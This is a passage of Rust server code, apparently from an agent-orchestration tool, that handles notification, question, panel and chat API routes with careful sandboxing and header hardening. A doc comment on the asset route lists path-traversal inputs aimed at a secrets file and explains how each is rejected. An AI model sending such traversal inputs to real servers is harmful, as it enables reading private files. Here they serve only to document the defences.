7203    Ok((tasks, talks.into_values().collect(), watches))
7204}
7205
7206/// `GET /api/notifications`: not dismissed, newest first, with the unread
7207/// count so the badge and the list cannot disagree.
7208async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7209    blocking(move || {
7210        let items = ui.notices.list();
7211        let unread = items.iter().filter(|n| n.unread()).count();
7212        let items: Vec<_> = items
7213            .into_iter()
7214            .map(|n| {
7215                let question = crate::notices::answerable_question(&n, &ui.questions);
7216                let mut item = serde_json::to_value(n)?;
7217                item["answerable_question"] = serde_json::json!(question);
7218                Ok(item)
7219            })
7220            .collect::<anyhow::Result<_>>()?;
7221        Ok(Json(
7222            serde_json::json!({ "unread": unread, "items": items }),
7223        ))
7224    })
7225    .await
7226}
7227
7228fn notice_error(e: anyhow::Error) -> ApiError {
7229    // An unknown or malformed id and a vanished file are the same answer to
7230    // the phone: that notification is gone.
7231    ApiError::not_found(format!("{e:#}"))
7232}
7233
7234/// `POST /api/notifications/{id}/read`.
7235async fn notification_read(
7236    State(ui): State<Arc<Ui>>,
7237    Path(id): Path<String>,
7238) -> ApiResult<Json<Notice>> {
7239    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7240}
7241
7242/// `POST /api/notifications/{id}/dismiss`.
7243async fn notification_dismiss(
7244    State(ui): State<Arc<Ui>>,
7245    Path(id): Path<String>,
7246) -> ApiResult<Json<Notice>> {
7247    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7248}
7249
7250/// `POST /api/notifications/read-all`.
7251async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7252    blocking(move || {
7253        let changed = ui.notices.mark_all_read()?;
7254        Ok(Json(serde_json::json!({ "marked": changed })))
7255    })
7256    .await
7257}
7258
7259/// The body of `POST /api/questions/{id}/answer`.
7260///
7261/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7262/// a bad request rather than a guess: an answer magi invented is worse than a
7263/// question left open.
7264#[derive(Debug, Default, Deserialize)]
7265#[serde(default, deny_unknown_fields)]
7266struct NewAnswer {
7267    choice: Option<String>,
7268    text: Option<String>,
7269    talk: Option<String>,
7270    head: Option<String>,
7271}
7272
7273async fn question_answer(
7274    State(ui): State<Arc<Ui>>,
7275    Path(id): Path<String>,
7276    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7277) -> ApiResult<Json<QuestionView>> {
7278    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7279    let answer = match (body.choice, body.text) {
7280        (Some(c), None) => Answer::Choice(c),
7281        (None, Some(t)) => Answer::Text(t),
7282        (Some(_), Some(_)) => {
7283            return Err(ApiError::bad_request(
7284                "send either `choice` or `text`, not both",
7285            ));
7286        }
7287        (None, None) => {
7288            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7289        }
7290    };
7291
7292    blocking(move || {
7293        let id = resolve_question(&ui.questions, &id)?;
7294        let q = ui
7295            .questions
7296            .get(&id)
7297            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7298        if !q.status.open() {
7299            // Answered from the terminal, or by another phone, in between the
7300            // list and the tap. The UI shows the recorded answer rather than an
7301            // error, so it needs the record, not just the status.
7302            return Err(ApiError::conflict(format!(
7303                "question {} is already {}",
7304                q.short(),
7305                q.status.as_str()
7306            )));
7307        }
7308        // `Question::answer` owns the rules - an unoffered choice, free text on
7309        // a multiple-choice question, an empty reply - so the route does not
7310        // restate them and cannot drift from the CLI's behaviour.
7311        let cfg = deputy_config(&ui.repo);
7312        let (q, ()) = ui
7313            .questions
7314            .update(&q.id, |r| {
7315                anyhow::ensure!(
7316                    r.routed_task.is_none() || r.merge_target.is_some(),
7317                    "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7318                );
7319                let merge = matches!(&answer, ask::Answer::Choice(c)
7320                    if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7321                // Buttons retain their displayed chat/head binding. A direct
7322                // decision does not require a button or a prior persona offer.
7323                if r.routed_task.is_some() && r.merge_target.is_some() && merge
7324                    && (body.talk.is_some() || body.head.is_some())
7325                {
7326                    let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7327                    let head = body.head.as_deref().context("approval button requires the displayed head")?;
7328                    let talk = ui.talks.get(talk_id)?;
7329                    anyhow::ensure!(
7330                        talk.status.open(),
7331                        "approval chat is closed"
7332                    );
7333                    r.answer_chat_button(answer, talk_id, head)
7334                } else {
7335                    r.answer(answer)
7336                }
7337            })
7338            .map_err(ApiError::bad_request_from)?;
7339        let (tasks, talks, watches) =
7340            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7341        Ok(Json(
7342            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7343        ))
7344    })
7345    .await
7346}
7347
7348/// A dedicated status avoids the client's settled-question 409 handling.
7349fn question_text_error(e: anyhow::Error) -> ApiError {
7350    let reason = e
7351        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7352        .map(|e| e.reason);
7353    let error = ApiError::bad_request_from(e);
7354    if let Some(reason) = reason {
7355        ApiError {
7356            text_reason: Some(reason),
7357            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7358        }
7359    } else {
7360        error
7361    }
7362}
7363
7364/// The body of `POST /api/questions/{id}/say`.
7365#[derive(Debug, Deserialize)]
7366#[serde(deny_unknown_fields)]
7367struct NewSay {
7368    body: String,
7369}
7370
7371/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7372///
7373/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7374/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7375/// file, so there is no turn to serialize against and no
7376/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7377/// is a *different* process - the run parked behind `magi ask` - and picks
7378/// the reply up on its own poll of the very same file, same as an answer
7379/// does.
7380async fn question_say(
7381    State(ui): State<Arc<Ui>>,
7382    Path(id): Path<String>,
7383    body: std::result::Result<Json<NewSay>, JsonRejection>,
7384) -> ApiResult<Json<QuestionView>> {
7385    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7386    blocking(move || {
7387        let id = resolve_question(&ui.questions, &id)?;
7388        let q = ui
7389            .questions
7390            .get(&id)
7391            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7392        if !q.status.open() {
7393            // Same granularity as `question_answer`: answered or abandoned in
7394            // between the list and the tap is not this route's error to
7395            // explain any differently.
7396            return Err(ApiError::conflict(format!(
7397                "question {} is already {}",
7398                q.short(),
7399                q.status.as_str()
7400            )));
7401        }
7402        // `Question::say` owns the one rule that matters here - an empty
7403        // message tells the agent nothing - so the route does not restate it.
7404        let cfg = deputy_config(&ui.repo);
7405        let (q, ()) = ui
7406            .questions
7407            .update(&q.id, |r| {
7408                if body.body.trim().is_empty() {
7409                    return r.say(body.body);
7410                }
7411                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7412                r.say(body.body)
7413            })
7414            .map_err(question_text_error)?;
7415        let (tasks, talks, watches) =
7416            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7417        Ok(Json(
7418            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7419        ))
7420    })
7421    .await
7422}
7423
7424/// A disconnected request or a replacing listener cannot interrupt the short
7425/// transaction between persistence and detached worker publication.
7426async fn admitted<T: Send + 'static>(
7427    admission: AdmissionGuard,
7428    work: impl Future<Output = ApiResult<T>> + Send + 'static,
7429) -> ApiResult<T> {
7430    tokio::spawn(async move {
7431        let result = work.await;
7432        drop(admission);
7433        result
7434    })
7435    .await
7436    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7437}
7438
7439/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7440/// came from. The question stays open: the chat agent answers it with `magi
7441/// answer`, or puts the decision to the owner in the conversation.
7442///
7443/// Answers 202 and runs the turn in the background, like every route that
7444/// spends agent calls. The text is queued as a draft of the existing talk, and
7445/// the turn goes through the talk's own gate and session; no seat or waiter is
7446/// started here.
7447async fn question_consult(
7448    State(ui): State<Arc<Ui>>,
7449    Path(id): Path<String>,
7450) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7451    let admission = ui.begin_admission()?;
7452    admitted(admission, async move {
7453        let (q, tasks, talks, watches, talk, cfg) = blocking({
7454            let ui = Arc::clone(&ui);
7455            move || {
7456                let id = resolve_question(&ui.questions, &id)?;
7457                let q = ui.questions.get(&id).map_err(|e| {
7458                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7459                })?;
7460                if !q.status.open() {
7461                    return Err(ApiError::conflict(format!(
7462                        "question {} is already {}",
7463                        q.short(),
7464                        q.status.as_str()
7465                    )));
7466                }
7467                let (tasks, talks, watches) =
7468                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7469                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7470                    return Err(ApiError::conflict(format!(
7471                        "question {} has no chat to ask",
7472                        q.short()
7473                    )));
7474                };
7475                // Read the config before `begin` saves anything: a failure here
7476                // must leave no consult record or draft behind, or a retry would
7477                // see `fresh == false` and never start the turn.
7478                let cfg = if q.consult.is_none() {
7479                    Some(Config::discover(&talk.repo, None)?.0)
7480                } else {
7481                    None
7482                };
7483                Ok((q, tasks, talks, watches, talk, cfg))
7484            }
7485        })
7486        .await?;
7487        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7488            .await
7489            .map_err(ApiError::from)?;
7490        let (view, reclaimed, submitted) = blocking({
7491            let ui = Arc::clone(&ui);
7492            move || {
7493                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7494                let claim = if fresh {
7495                    match ui.begin_queued_talk_turn(&talk.id)? {
7496                        Some(turn_guard) => {
7497                            let talk = ui.talks.get(&talk.id)?;
7498                            let cfg = match cfg {
7499                                Some(cfg) => cfg,
7500                                None => Config::discover(&talk.repo, None)?.0,
7501                            };
7502                            Some((talk, cfg, turn_guard))
7503                        }
7504                        None => None,
7505                    }
7506                } else {
7507                    None
7508                };
7509                let q = ui.questions.get(&q.id)?;
7510                let cfg = deputy_config(&ui.repo);
7511                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7512                    .with_origin(&tasks, &talks, &watches);
7513                Ok((view, claim, fresh.then_some(talk.id)))
7514            }
7515        })
7516        .await?;
7517        #[cfg(not(test))]
7518        {
7519            if let Some(id) = submitted {
7520                crate::consult::spawn_turn(&ui.talks, &id)
7521                    .await
7522                    .map_err(ApiError::from)?;
7523            }
7524            drop(reclaimed);
7525        }
7526        #[cfg(test)]
7527        let _ = submitted;
7528        #[cfg(test)]
7529        if let Some((talk, cfg, turn_guard)) = reclaimed {
7530            let talks = ui.talks.clone();
7531            let id = talk.id.clone();
7532            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7533        }
7534        Ok((StatusCode::ACCEPTED, Json(view)))
7535    })
7536    .await
7537}
7538
7539/// Expand an id or short id to exactly one question id.
7540fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7541    if plain_record_id(id) && store.path_of(id).is_file() {
7542        return Ok(id.to_owned());
7543    }
7544    pick(
7545        store.list().into_iter().map(|q| q.id).collect(),
7546        id,
7547        "question",
7548    )
7549}
7550
7551/// `GET /api/questions/{id}/panel`.
7552///
7553/// The panel an agent wrote for this question, as `text/html` under
7554/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7555/// A question without one is a 404 rather than an empty page: the client
7556/// preflights this route with `HEAD` and must be able to tell "no panel" from
7557/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7558/// parent document so it cannot tell the difference by looking.
7559///
7560/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7561/// sanitises or minifies it - a sanitiser is a list of things someone thought
7562/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7563/// is the direction that stays safe when an agent writes markup nobody
7564/// predicted.
7565async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7566    blocking(move || {
7567        let id = resolve_question(&ui.questions, &id)?;
7568        let Some(html) = ui.questions.panel_html(&id) else {
7569            return Err(ApiError::not_found(format!("question {id} has no panel")));
7570        };
7571        Ok(panel_response(
7572            "text/html; charset=utf-8",
7573            false,
7574            html.into_bytes(),
7575        ))
7576    })
7577    .await
7578}
7579
7580/// `GET /api/questions/{id}/asset/{name}`.
7581///
7582/// One file from the question's own panel directory, so a panel can show a
7583/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7584/// having to allow anything off this machine.
7585///
7586/// This is the only route in the server where a client names a file, so it is
7587/// the only one with a traversal surface, and the name is checked by
7588/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7589/// what is worth being explicit about, because the answer is not "all of it in
7590/// one place":
7591///
7592/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7593///   the raw request path and `{name}` spans exactly one segment, so a real
7594///   slash makes the request too long for the route and the router answers 404.
7595/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7596///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7597///   `..\secrets` respectively, which look like plain filenames to the router.
7598///   The validator refuses them here - both for the literal `..` and because
7599///   `/` and `\` are not in the permitted character set - and answers 400.
7600/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7601///   the platform's path API is not, and it is refused here for the same
7602///   reason: NUL is not a permitted character.
7603/// * [`Questions::panel_asset`] validates again on read, so the check is not
7604///   load-bearing in only one place. This route's own check exists so the
7605///   failure is a 400 that says which name was wrong, rather than a store error
7606///   the operator has to interpret.
7607async fn question_asset(
7608    State(ui): State<Arc<Ui>>,
7609    Path((id, name)): Path<(String, String)>,
7610) -> ApiResult<Response> {
7611    // Before any filesystem work and before any path is built: a name this
7612    // server will not serve should not become a `PathBuf` at all.
7613    if !crate::ask::valid_asset_name(&name) {
7614        return Err(ApiError::bad_request(format!(
7615            "`{name}` is not a usable asset name"
7616        )));
7617    }
7618    blocking(move || {
7619        let id = resolve_question(&ui.questions, &id)?;
7620        let asset = ui
7621            .questions
7622            .panel_asset(&id, &name)
7623            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7624        let Some(bytes) = asset else {
7625            return Err(ApiError::not_found(format!(
7626                "question {id} has no asset `{name}`"
7627            )));
7628        };
7629        Ok(panel_response(
7630            asset_content_type(&name),
7631            is_svg(&name),
7632            bytes,
7633        ))
7634    })
7635    .await
7636}
7637
7638/// Content type for a panel asset, from a closed whitelist.
7639///
7640/// A whitelist with an `application/octet-stream` fallback rather than a
7641/// guess, because the one answer that must never come out of here is
7642/// `text/html`. An agent that writes `notes.html` into its panel directory and
7643/// links it would otherwise get its own markup rendered at the top level of the
7644/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7645/// magi's origin - which is precisely the thing the panel design exists to
7646/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7647///
7648/// `nosniff` accompanies this on every response, so a browser cannot decide it
7649/// knows better than the type we sent.
7650fn asset_content_type(name: &str) -> &'static str {
7651    match extension(name).as_deref() {
7652        Some("png") => "image/png",
7653        Some("jpg" | "jpeg") => "image/jpeg",
7654        Some("gif") => "image/gif",
7655        Some("webp") => "image/webp",
7656        Some("svg") => "image/svg+xml",
7657        Some("css") => "text/css; charset=utf-8",
7658        Some("txt") => "text/plain; charset=utf-8",
7659        _ => "application/octet-stream",
7660    }
7661}
7662
7663/// Is this an SVG, and therefore a file that must never be opened at the top
7664/// level?
7665fn is_svg(name: &str) -> bool {
7666    extension(name).as_deref() == Some("svg")
7667}
7668
7669/// Lowercased extension, or `None` for a name without one.
7670fn extension(name: &str) -> Option<String> {
7671    name.rsplit_once('.')
7672        .map(|(_, ext)| ext.to_ascii_lowercase())
7673}
7674
7675/// Every panel response, with the four headers that make it safe and, for an
7676/// SVG, a fifth.
7677///
7678/// One function rather than a header list per handler, because a panel route
7679/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7680/// model gone, silently, on one of two routes. Adding a third panel route later
7681/// means calling this, and there is nowhere else to build a panel response.
7682///
7683/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7684/// as an `<img src>` inside the panel that script cannot run - but the asset
7685/// URL is also a plain URL an operator can be talked into opening in a tab,
7686/// where it is a document on magi's own origin. `Content-Disposition:
7687/// attachment` makes the browser download it instead of rendering it, which
7688/// closes that door without taking away the ability to draw a diff. Raster
7689/// images have no such execution surface and are left inline, so tapping a
7690/// screenshot still shows it.
7691fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7692    let mut res = (
7693        [
7694            (header::CONTENT_TYPE, content_type),
7695            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7696            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7697            (header::REFERRER_POLICY, "no-referrer"),
7698        ],
7699        body,
7700    )
7701        .into_response();
7702    if download {
7703        res.headers_mut().insert(
7704            header::CONTENT_DISPOSITION,
7705            HeaderValue::from_static("attachment"),
7706        );
7707    }
7708    res
7709}
7710
7711/// A talk as the phone reads it.
7712///
7713/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7714/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7715/// parses markdown itself - and the process-local `thinking` hint.
7716#[derive(Debug, Serialize)]
7717struct ChatApproval {
7718    question: String,
7719    target: crate::merge_decision::Target,
7720}
7721
7722#[derive(Debug, Serialize)]
7723struct TalkView {
7724    #[serde(flatten)]
7725    talk: Talk,
7726    turn_bodies_md: Vec<Vec<md::Node>>,
7727    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7728    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7729    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7730    merge_approvals: Vec<ChatApproval>,
7731    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7732    /// this server process.
7733    ///
7734    /// This is deliberately not durable: another server process cannot see
7735    /// it, and a restarted server must not claim an old turn is live. It is a
7736    /// progress hint rather than proof a reply landed; the transcript remains
7737    /// the source of truth for that.
7738    thinking: bool,
7739    /// Context-window usage, derived per request - see
7740    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7741    /// and each mutation) so the phone needs no extra call or polling.
7742    context: talk::ContextUsage,
7743    /// `[talk] operator_name`, when configured; the Chat labels the
7744    /// operator's turns with it.
7745    operator_name: Option<String>,
7746    /// The active persona's display name; `None` for the default voice.
7747    persona_name: Option<String>,
7748    /// URL of the avatar for the conversation's persona (the default voice
7749    /// included). Server-built; a configured `icon` never reaches the client.
7750    persona_avatar: String,
7751    /// Operator avatar; display only and independent of repository config.
7752    operator_avatar: String,
7753    magi_avatar: String,
7754}
7755
7756impl TalkView {
7757    /// Reads the talk's repository config itself; a config that cannot be
7758    /// read leaves the window unknown but never fails the conversation.
7759    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7760        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7761        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7762    }
7763
7764    /// As [`Self::new`], with the config already in hand (the list reads one
7765    /// per repository, not one per conversation).
7766    fn with_config(
7767        talk: Talk,
7768        thinking: bool,
7769        cfg: Option<&Config>,
7770        home: &FsPath,
7771        cache: &id_links::IndexCache,
7772    ) -> Self {
7773        let references = cache.for_talk(home, &talk);
7774        Self::with_references(talk, thinking, cfg, home, &references)
7775    }
7776
7777    fn with_references(
7778        mut talk: Talk,
7779        thinking: bool,
7780        cfg: Option<&Config>,
7781        home: &FsPath,
7782        references: &id_links::IdIndex,
7783    ) -> Self {
7784        // This owned value is the display DTO; never write it back to the talk store.
7785        let snapshot = talk.clone();
7786        for (index, turn) in talk.turns.iter_mut().enumerate() {
7787            let original = &snapshot.turns[index];
7788            if turn.messages.is_empty() {
7789                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7790                    turn.messages.push(talk::Message {
7791                        sender: Some(talk::Sender::Magi),
7792                        body: original.body.clone(),
7793                        display: Some(display),
7794                        attachments: original.attachments.clone(),
7795                        reply: None,
7796                    });
7797                }
7798            } else {
7799                for (i, message) in turn.messages.iter_mut().enumerate() {
7800                    message.display =
7801                        talk::notice_display(&snapshot, original, original.messages.get(i));
7802                    if message.display.is_some() {
7803                        message.sender = Some(talk::Sender::Magi);
7804                    }
7805                }
7806            }
7807        }
7808        for message in &mut talk.pending_messages {
7809            if message.display.is_none()
7810                && (message.sender == Some(talk::Sender::Magi)
7811                    || snapshot
7812                        .completion_notices
7813                        .iter()
7814                        .any(|r| r.notice == message.body))
7815            {
7816                message.display = crate::prompt::legacy_notice_display(&message.body);
7817                if message.display.is_some() {
7818                    message.sender = Some(talk::Sender::Magi);
7819                }
7820            }
7821        }
7822        if talk.pending_messages.is_empty()
7823            && snapshot
7824                .completion_notices
7825                .iter()
7826                .any(|r| r.notice == talk.pending)
7827            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7828        {
7829            talk.pending_messages.push(talk::Message {
7830                sender: Some(talk::Sender::Magi),
7831                display: Some(display),
7832                body: talk.pending.clone(),
7833                attachments: talk.pending_attachments.clone(),
7834                reply: None,
7835            });
7836        }
7837        let excerpts: Vec<Vec<Option<String>>> = talk
7838            .turns
7839            .iter()
7840            .map(|turn| {
7841                turn.messages
7842                    .iter()
7843                    .map(|m| {
7844                        m.display
7845                            .as_ref()
7846                            .map(|d| d.facts.chars().take(240).collect())
7847                    })
7848                    .collect()
7849            })
7850            .collect();
7851        for turn in &mut talk.turns {
7852            let provenance = talk::sender(turn, None);
7853            turn.sender = Some(provenance);
7854            for message in &mut turn.messages {
7855                message.sender = Some(message.sender.unwrap_or(provenance));
7856            }
7857        }
7858        // Old reply snapshots have only a role; recover provenance from their target.
7859        let senders: Vec<Vec<talk::Sender>> = talk
7860            .turns
7861            .iter()
7862            .map(|turn| {
7863                if turn.messages.is_empty() {
7864                    vec![talk::sender(turn, None)]
7865                } else {
7866                    turn.messages
7867                        .iter()
7868                        .map(|m| talk::sender(turn, Some(m)))
7869                        .collect()
7870                }
7871            })
7872            .collect();
7873        for reply in talk
7874            .turns
7875            .iter_mut()
7876            .flat_map(|t| t.messages.iter_mut())
7877            .chain(talk.pending_messages.iter_mut())
7878            .filter_map(|m| m.reply.as_mut())
7879        {
7880            if let Some(Some(excerpt)) = excerpts
7881                .get(reply.target.turn)
7882                .and_then(|ms| ms.get(reply.target.message))
7883            {
7884                reply.excerpt = excerpt.clone();
7885                reply.sender = Some(talk::Sender::Magi);
7886            }
7887            if reply.sender.is_none() {
7888                reply.sender = senders
7889                    .get(reply.target.turn)
7890                    .and_then(|messages| messages.get(reply.target.message))
7891                    .copied();
7892            }
7893        }
7894        let context = talk::context_usage(&talk, cfg);
7895        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
7896            .turns
7897            .iter()
7898            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7899            .collect();
7900        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
7901            .turns
7902            .iter()
7903            .map(|turn| {
7904                if turn.messages.is_empty() {
7905                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7906                } else {
7907                    turn.messages
7908                        .iter()
7909                        .map(|message| {
7910                            notice_markdown(
7911                                message.sender.unwrap_or(talk::Sender::Operator),
7912                                &message.body,
7913                                message.display.as_ref(),
7914                            )
7915                        })
7916                        .collect()
7917                }
7918            })
7919            .collect();
7920        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
7921            .pending_messages
7922            .iter()
7923            .map(|message| {
7924                notice_markdown(
7925                    message.sender.unwrap_or(talk::Sender::Operator),
7926                    &message.body,
7927                    message.display.as_ref(),
7928                )
7929            })
7930            .collect();
7931        for nodes in &mut turn_bodies_md {
7932            references.markdown(nodes);
7933        }
7934        for nodes in turn_messages_md
7935            .iter_mut()
7936            .flatten()
7937            .chain(pending_messages_md.iter_mut())
7938            .flatten()
7939        {
7940            references.markdown(nodes);
7941        }
7942        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7943        let persona_name = persona::find(specs, &talk.persona)
7944            .filter(|p| !p.is_default())
7945            .map(|p| p.name);
7946        let mut avatar_persona = persona::find(specs, &talk.persona)
7947            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7948        // A removed configured persona may still have an override and old talks.
7949        if avatar_persona.id != talk.persona
7950            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7951        {
7952            avatar_persona.id.clone_from(&talk.persona);
7953            avatar_persona.icon = None;
7954        }
7955        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7956        let approvals_store = ask::Questions::at(home.join("questions"));
7957        let merge_approvals = talk
7958            .notified
7959            .iter()
7960            .filter_map(|key| key.strip_prefix("question:"))
7961            .filter_map(|id| approvals_store.get(id).ok())
7962            .filter(|q| crate::task_chat::approval_offered(&talk, q))
7963            .filter_map(|q| {
7964                Some(ChatApproval {
7965                    question: q.id,
7966                    target: q.merge_target?,
7967                })
7968            })
7969            .collect();
7970        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7971        Self {
7972            turn_bodies_md,
7973            turn_messages_md,
7974            pending_messages_md,
7975            merge_approvals,
7976            thinking,
7977            context,
7978            operator_name,
7979            persona_name,
7980            persona_avatar,
7981            magi_avatar: magi_icon_url(home),
7982            operator_avatar: operator_icon_url(home),
7983            talk,
7984        }
7985    }
7986}
7987
7988/// Parse only the user-facing representation of an explicitly identified MAGI send.
7989fn notice_markdown(
7990    sender: talk::Sender,
7991    body: &str,
7992    display: Option<&crate::prompt::NoticeDisplay>,
7993) -> Option<Vec<md::Node>> {
7994    if sender != talk::Sender::Magi {
7995        return None;
7996    }
7997    let text = if let Some(display) = display {
7998        display.facts.as_str()
7999    } else {
8000        // Unknown completion templates may contain internal directives. Never
8001        // promote their agent input to the Markdown display surface.
8002        if crate::prompt::is_completion_notice(body)
8003            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8004        {
8005            return None;
8006        }
8007        body.strip_prefix("magi: ").unwrap_or(body)
8008    };
8009    Some(md::to_nodes(text, &md::ImageBase::None))
8010}
8011
8012/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8013/// conversation has filed, so the phone can follow one from inside the
8014/// conversation that asked for it rather than hunting the Queue for a task id
8015/// it may not remember.
8016#[derive(Debug, Serialize)]
8017struct TalkDetailView {
8018    #[serde(flatten)]
8019    view: TalkView,
8020    tasks: Vec<TaskView>,
8021    task_progress: TalkTaskProgress,
8022    /// The agents this talk's repository can switch to; empty when its
8023    /// configuration cannot be read, which must not fail the whole detail.
8024    roster: Vec<RosterEntry>,
8025    /// The personas the conversation can pick from. The built-ins are always
8026    /// listed, even when the repository's configuration cannot be read.
8027    personas: Vec<PersonaEntry>,
8028}
8029
8030/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8031#[derive(Debug, Serialize)]
8032struct TalkTaskProgress {
8033    state: &'static str,
8034    total: usize,
8035    done: usize,
8036    counts: std::collections::BTreeMap<&'static str, usize>,
8037    unfinished_ids: Vec<String>,
8038}
8039
8040fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8041    let mut counts = std::collections::BTreeMap::from([
8042        ("queued", 0),
8043        ("running", 0),
8044        ("done", 0),
8045        ("failed", 0),
8046        ("held", 0),
8047        ("blocked", 0),
8048        ("parked", 0),
8049    ]);
8050    let mut unfinished_ids = Vec::new();
8051    for task in tasks {
8052        *counts.entry(task.status.as_str()).or_default() += 1;
8053        if task.status != TaskStatus::Done {
8054            unfinished_ids.push(task.id.clone());
8055        }
8056    }
8057    TalkTaskProgress {
8058        state: if tasks.is_empty() {
8059            "none"
8060        } else if unfinished_ids.is_empty() {
8061            "complete"
8062        } else {
8063            "incomplete"
8064        },
8065        total: tasks.len(),
8066        done: tasks.len() - unfinished_ids.len(),
8067        counts,
8068        unfinished_ids,
8069    }
8070}
8071
8072/// One persona as the talk's persona selector shows it.
8073#[derive(Debug, Serialize)]
8074struct PersonaEntry {
8075    id: String,
8076    name: String,
8077    /// Avatar URL, see [`TalkView::persona_avatar`].
8078    avatar: String,
8079}
8080
8081/// One roster agent as the talk's agent selector shows it.
8082#[derive(Debug, Serialize)]
8083struct RosterEntry {
8084    id: String,
8085    kind: AgentKind,
8086    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8087    runnable: bool,
8088}
8089
8090/// `GET /api/talks`.
8091///
8092/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8093/// own order.
8094async fn talks_list(
8095    State(ui): State<Arc<Ui>>,
8096    Query(q): Query<ListQuery>,
8097) -> ApiResult<Json<Vec<TalkView>>> {
8098    blocking(move || {
8099        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8100        let talks = q.ids.as_ref().map_or_else(
8101            || ui.talks.list(),
8102            |ids| {
8103                ids.split(',')
8104                    .filter(|id| plain_record_id(id))
8105                    .filter_map(|id| ui.talks.get(id).ok())
8106                    .collect()
8107            },
8108        );
8109        let references = if talks.iter().any(id_links::has_references) {
8110            ui.references.get(
8111                &ui.runs,
8112                &ui.queue,
8113                &ui.questions,
8114                &ui.talks,
8115                talks.iter().any(id_links::has_findings),
8116            )
8117        } else {
8118            Arc::new(id_links::IdIndex::default())
8119        };
8120        Ok(Json(
